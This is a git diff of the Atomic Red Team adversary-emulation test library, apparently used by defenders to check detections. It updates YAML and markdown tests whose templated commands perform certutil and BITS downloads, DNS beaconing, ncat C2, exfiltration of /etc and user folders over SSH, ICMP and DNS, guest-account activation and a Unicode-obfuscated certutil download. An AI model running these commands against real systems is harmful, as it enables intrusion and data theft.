+66547,7 @@ lateral-movement: executor: command: 'invoke-command -ComputerName #{host_name} -scriptblock {#{remote_command}} -' + ' name: powershell - name: WinRM Access with Evil-WinRM auto_generated_guid: efe86d95-44c4-4509-ae42-7bfd9d1f5b3d @@ -66859,7 +66907,7 @@ command-and-control: "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout} -' + ' name: powershell - name: DNS Regular Beaconing auto_generated_guid: 3efc144e-1af8-46bb-8ca2-1376bb6db8b6 @@ -67657,7 +67705,7 @@ command-and-control: auto_generated_guid: 0fc6e977-cb12-44f6-b263-2824ba917409 description: 'Utilize rsync to perform a remote file copy (push) -' + ' supported_platforms: - linux - macos @@ -67681,13 +67729,13 @@ command-and-control: executor: command: 'rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path} -' + ' name: bash - name: rsync remote file copy (pull) auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f description: 'Utilize rsync to perform a remote file copy (pull) -' + ' supported_platforms: - linux - macos @@ -67711,13 +67759,13 @@ command-and-control: executor: command: 'rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path} -' + ' name: bash - name: scp remote file copy (push) auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344 description: 'Utilize scp to perform a remote file copy (push) -' + ' supported_platforms: - linux - macos @@ -67741,13 +67789,13 @@ command-and-control: executor: command: 'scp #{local_file} #{username}@#{remote_host}:#{remote_path} -' + ' name: bash - name: scp remote file copy (pull) auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33 description: 'Utilize scp to perform a remote file copy (pull) -' + ' supported_platforms: - linux - macos @@ -67771,13 +67819,13 @@ command-and-control: executor: command: 'scp #{username}@#{remote_host}:#{remote_file} #{local_path} -' + ' name: bash - name: sftp remote file copy (push) auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e description: 'Utilize sftp to perform a remote file copy (push) -' + ' supported_platforms: - linux - macos @@ -67801,13 +67849,13 @@ command-and-control: executor: command: 'sftp #{username}@#{remote_host}:#{remote_path} <<< $''put #{local_file}'' -' + ' name: bash - name: sftp remote file copy (pull) auto_generated_guid: '0139dba1-f391-405e-a4f5-f3989f2c88ef' description: 'Utilize sftp to perform a remote file copy (pull) -' + ' supported_platforms: - linux - macos @@ -67831,14 +67879,14 @@ command-and-control: executor: command: 'sftp #{username}@#{remote_host}:#{remote_file} #{local_path} -' + ' name: bash - name: certutil download (urlcache) auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0 description: 'Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works! -' + ' supported_platforms: - windows input_arguments: @@ -67853,17 +67901,17 @@ command-and-control: executor: command: 'cmd /c certutil -urlcache -split -f #{remote_file} #{local_path} -' + ' cleanup_command: 'del #{local_path} >nul 2>&1 -' + ' name: command_prompt - name: certutil download (verifyctl) auto_generated_guid: ffd492e3-0455-4518-9fb1-46527c9f241b description: 'Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works! -' + ' supported_platforms: - windows input_arguments: @@ -67885,7 +67933,7 @@ command-and-control: cleanup_command: 'Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore -' + ' name: powershell - name: Windows - BITSAdmin BITS Download auto_generated_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b @@ -67911,7 +67959,7 @@ command-and-control: command: 'C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path} -' + ' name: command_prompt - name: Windows - PowerShell Download auto_generated_guid: 42dc4460-9aa6-45d3-b1a6-3955d34e1fe8 @@ -67933,17 +67981,17 @@ command-and-control: command: '(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}") -' + ' cleanup_command: 'Remove-Item #{destination_path} -Force -ErrorAction Ignore -' + ' name: powershell - name: OSTAP Worming Activity auto_generated_guid: 2ca61766-b456-4fcf-a35a-1233685e1cad description: 'OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity. -' + ' supported_platforms: - windows input_arguments: @@ -68020,7 +68068,7 @@ command-and-control: auto_generated_guid: c99a829f-0bb8-4187-b2c6-d47d1df74cab description: 'Download a remote file using the whois utility -' + ' supported_platforms: - linux - macos @@ -68048,29 +68096,29 @@ command-and-control: dependencies: - description: 'The whois and timeout commands must be present -' + ' prereq_command: 'which whois && which timeout -' + ' get_prereq_command: 'echo "Please install timeout and the whois package" -' + ' executor: name: sh elevation_required: false command: 'timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file} -' + ' cleanup_command: 'rm -f #{output_file} -' + ' - name: File Download via PowerShell auto_generated_guid: 54a4daf1-71df-4383-9ba7-f1a295d8b6d2 description: 'Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary. -' + ' supported_platforms: - windows input_arguments: @@ -68104,7 +68152,7 @@ command-and-control: name: command_prompt command: 'finger base64_filedata@#{remote_host} -' + ' - name: Download a file with IMEWDBLD.exe auto_generated_guid: 1a02df58-09af-4064-a765-0babe1a0d1e2 description: | @@ -68199,7 +68247,7 @@ command-and-control: executor: command: 'export #{proxy_scheme}_proxy=#{proxy_server} -' + ' cleanup_command: | unset http_proxy unset https_proxy @@ -68588,10 +68636,10 @@ command-and-control: dependencies: - description: 'ncat.exe must be available at specified location (#{ncat_exe}) -' + ' prereq_command: 'if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -ItemType Directory -Force -Path #{ncat_path} | Out-Null @@ -68605,7 +68653,7 @@ command-and-control: executor: command: 'cmd /c #{ncat_exe} #{server_ip} #{server_port} -' + ' name: powershell - name: Powercat C2 auto_generated_guid: 3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e @@ -68754,13 +68802,13 @@ command-and-control: executor: command: 'Test-NetConnection -ComputerName #{domain} -port #{port} -' + ' name: powershell - name: Testing usage of uncommonly used port auto_generated_guid: 5db21e1d-dd9c-4a50-b885-b1e748912767 description: 'Testing uncommonly used port utilizing telnet. -' + ' supported_platforms: - linux - macos @@ -68776,7 +68824,7 @@ command-and-control: executor: command: 'telnet #{domain} #{port} -' + ' name: sh T1102.003: technique: @@ -69018,7 +69066,7 @@ command-and-control: -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content } -' + ' name: powershell - name: DNS over HTTPS Regular Beaconing auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b @@ -69208,7 +69256,7 @@ command-and-control: and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed. -' + ' supported_platforms: - windows executor: @@ -69230,7 +69278,7 @@ command-and-control: and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed. -' + ' supported_platforms: - windows executor: @@ -69249,7 +69297,7 @@ command-and-control: and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed. -' + ' supported_platforms: - windows executor: @@ -69269,7 +69317,7 @@ command-and-control: and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed. -' + ' supported_platforms: - windows executor: @@ -69354,7 +69402,7 @@ command-and-control: auto_generated_guid: 1164f70f-9a88-4dff-b9ff-dc70e7bf0c25 description: 'Utilizing a common technique for posting base64 encoded data. -' + ' supported_platforms: - macos - linux @@ -69660,7 +69708,7 @@ command-and-control: - description: "Curl must be installed on system \n" prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | Invoke-WebRequest "https://curl.haxx.se/windows/dl-7.71.1/curl-7.71.1-win32-mingw.zip" -Outfile $env:temp\curl.zip Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl @@ -69865,7 +69913,7 @@ exfiltration: auto_generated_guid: ab936c51-10f4-46ce-9144-e02137b2016a description: 'Take a file/directory, split it into 5Mb chunks -' + ' supported_platforms: - macos - linux @@ -69884,12 +69932,12 @@ exfiltration: prereq_command: 'if [ ! -f #{folder_path}/#{file_name} ]; then exit 1; else exit 0; fi; -' + ' get_prereq_command: 'if [ ! -d #{folder_path} ]; then mkdir -p #{folder_path}; touch #{folder_path}/safe_to_delete; fi; dd if=/dev/urandom of=#{folder_path}/#{file_name} bs=25000000 count=1 -' + ' executor: command: | cd #{folder_path}; split -b 5000000 #{file_name} @@ -69897,7 +69945,7 @@ exfiltration: cleanup_command: 'if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path}; fi; -' + ' name: sh T1048: technique: @@ -69976,7 +70024,7 @@ exfiltration: executor: command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz -' + ' name: sh - name: Exfiltration Over Alternative Protocol - SSH auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268 @@ -70006,7 +70054,7 @@ exfiltration: command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} ''cat > /Users.tar.gz.enc'' -' + ' name: sh - name: DNSExfiltration (doh) auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48 @@ -70048,14 +70096,14 @@ exfiltration: - description: 'DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module}) -' + ' prereq_command: 'if (Test-Path #{ps_module}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile #{ps_module} -' + ' executor: command: | Import-Module #{ps_module} @@ -70201,7 +70249,7 @@ exfiltration: auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932 description: 'Exfiltrates a file present on the victim machine to the C2 server. -' + ' supported_platforms: - windows input_arguments: @@ -70219,11 +70267,11 @@ exfiltration: the pre-reqs will create a sample file to be exfiltrated, else give the path of already present file as input. -' + ' prereq_command: 'if ([System.IO.File]::Exists("#{filepath}")){exit 0} else {exit 1} -' + ' get_prereq_command: "echo \"Creating file to be exfiltrated\" \n1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value \"This is line $_.\" }\n" executor: @@ -70467,13 +70515,13 @@ exfiltration: in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) } -' + ' name: powershell - name: Exfiltration Over Alternative Protocol - DNS auto_generated_guid: c403b5a4-b5fc-49f2-b181-d1c80d27db45 description: 'Exfiltration of specified file over DNS protocol. -' + ' supported_platforms: - linux executor: @@ -70518,7 +70566,7 @@ exfiltration: command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server} -' + ' name: powershell input_arguments: input_file: @@ -71139,7 +71187,7 @@ initial-access: description: 'The Adversaries can activate the default Guest user. The guest account is inactivated by default -' + ' supported_platforms: - windows input_arguments: @@ -71150,10 +71198,10 @@ initial-access: executor: command: 'net user #{guest_user} /active:yes -' + ' cleanup_command: 'net user #{guest_user} /active:no -' + ' name: command_prompt elevation_required: true T1078.002: @@ -71467,7 +71515,7 @@ initial-access: description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list -' + ' supported_platforms: - windows input_arguments: @@ -71480,12 +71528,12 @@ initial-access: type: String default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme" -' + ' dependency_executor_name: powershell dependencies: - description: 'Chrome must be installed -' + ' prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} @@ -71849,7 +71897,7 @@ initial-access: jse_path: description: 'Path for the macro to write out the "malicious" .jse file -' + ' type: String default: C:\Users\Public\art.jse ms_product: @@ -71860,7 +71908,7 @@ initial-access: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -71871,7 +71919,7 @@ initial-access: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -71880,7 +71928,7 @@ initial-access: Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}" cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore -' + ' name: powershell T1566.002: technique: diff --git a/atomics/T1003.003/T1003.003.md b/atomics/T1003.003/T1003.003.md index 1002cca1..e216fd17 100644 --- a/atomics/T1003.003/T1003.003.md +++ b/atomics/T1003.003/T1003.003.md @@ -283,7 +283,7 @@ The Active Directory database NTDS.dit may be dumped by copying it from a Volume ```cmd -wmic /node:#{target_host} shadowcopy call create Volume=#{drive_letter} +wmic /node:"#{target_host}" shadowcopy call create Volume=#{drive_letter} ``` diff --git a/atomics/T1021.001/T1021.001.md b/atomics/T1021.001/T1021.001.md index 867f2861..22133315 100644 --- a/atomics/T1021.001/T1021.001.md +++ b/atomics/T1021.001/T1021.001.md @@ -12,7 +12,9 @@ Adversaries may connect to a remote system over RDP/RDS to expand access if the - [Atomic Test #2 - RDP to Server](#atomic-test-2---rdp-to-server) -- [Atomic Test #3 - Changing RDP Port to Non Standard Port](#atomic-test-3---changing-rdp-port-to-non-standard-port) +- [Atomic Test #3 - Changing RDP Port to Non Standard Port via Powershell](#atomic-test-3---changing-rdp-port-to-non-standard-port-via-powershell) + +- [Atomic Test #4 - Changing RDP Port to Non Standard Port via Command_Prompt](#atomic-test-4---changing-rdp-port-to-non-standard-port-via-command_prompt)
@@ -120,7 +122,7 @@ if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }

-## Atomic Test #3 - Changing RDP Port to Non Standard Port +## Atomic Test #3 - Changing RDP Port to Non Standard Port via Powershell Changing RDP Port to Non Standard Port via Remote Desktop Application over Powershell **Supported Platforms:** Windows @@ -150,7 +152,47 @@ New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direc #### Cleanup Commands: ```powershell Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{OLD_Remote_Port} -Remove-NetFirewallRule -DisplayName "RDPPORTLatest-TCP-In" +Remove-NetFirewallRule -DisplayName "RDPPORTLatest-TCP-In" -ErrorAction ignore +``` + + + + + +
+
+ +## Atomic Test #4 - Changing RDP Port to Non Standard Port via Command_Prompt +Changing RDP Port to Non Standard Port via Command_Prompt + +**Supported Platforms:** Windows + + +**auto_generated_guid:** 74ace21e-a31c-4f7d-b540-53e4eb6d1f73 + + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| OLD_Remote_Port | Default RDP Listening Port | String | 3389| +| NEW_Remote_Port | New RDP Listening Port | String | 4489| + + +#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin) + + +```cmd +reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} -f +netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port} +``` + +#### Cleanup Commands: +```cmd +reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} -f >nul 2>&1 +netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1 ``` diff --git a/atomics/T1027/T1027.md b/atomics/T1027/T1027.md index ebe81e45..ad240a1a 100644 --- a/atomics/T1027/T1027.md +++ b/atomics/T1027/T1027.md @@ -24,12 +24,13 @@ Adversaries may also obfuscate commands executed from payloads or directly via a - [Atomic Test #7 - Obfuscated Command in PowerShell](#atomic-test-7---obfuscated-command-in-powershell) +- [Atomic Test #8 - Obfuscated Command Line using special Unicode characters](#atomic-test-8---obfuscated-command-line-using-special-unicode-characters) +
## Atomic Test #1 - Decode base64 Data into Script Creates a base64-encoded data file and decodes it into an executable shell script - Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts `echo Hello from the Atomic Red Team`. **Supported Platforms:** macOS, Linux @@ -62,7 +63,6 @@ chmod +x /tmp/art.sh ## Atomic Test #2 - Execute base64-encoded PowerShell Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. - Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!" **Supported Platforms:** Windows @@ -101,7 +101,6 @@ powershell.exe -EncodedCommand $EncodedCommand ## Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. - Upon successful execution, powershell will execute encoded command and read/write from the registry. **Supported Platforms:** Windows @@ -296,4 +295,44 @@ $cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2}"-f'nv' +
+
+ +## Atomic Test #8 - Obfuscated Command Line using special Unicode characters +This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). +Reference: +https://wietze.github.io/blog/windows-command-line-obfuscation + +**Supported Platforms:** Windows + + +**auto_generated_guid:** e68b945c-52d0-4dd9-a5e8-d173d70c448f + + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| remote_file | URL of file to copy | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt| +| local_path | Local path to place file | Path | Atomic-license.txt| + + +#### Attack Commands: Run with `command_prompt`! + + +```cmd +cmd /c certutil —ૹu૰rlࢰca࣢c෯he –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} #{local_path} +``` + +#### Cleanup Commands: +```cmd +del #{local_path} >nul 2>&1 +``` + + + + +
diff --git a/atomics/T1027/T1027.yaml b/atomics/T1027/T1027.yaml index 060225ba..b49b48d1 100644 --- a/atomics/T1027/T1027.yaml +++ b/atomics/T1027/T1027.yaml @@ -1,4 +1,4 @@ -attack_technique: T1027 +attack_technique: T1027 display_name: Obfuscated Files or Information atomic_tests: - name: Decode base64 Data into Script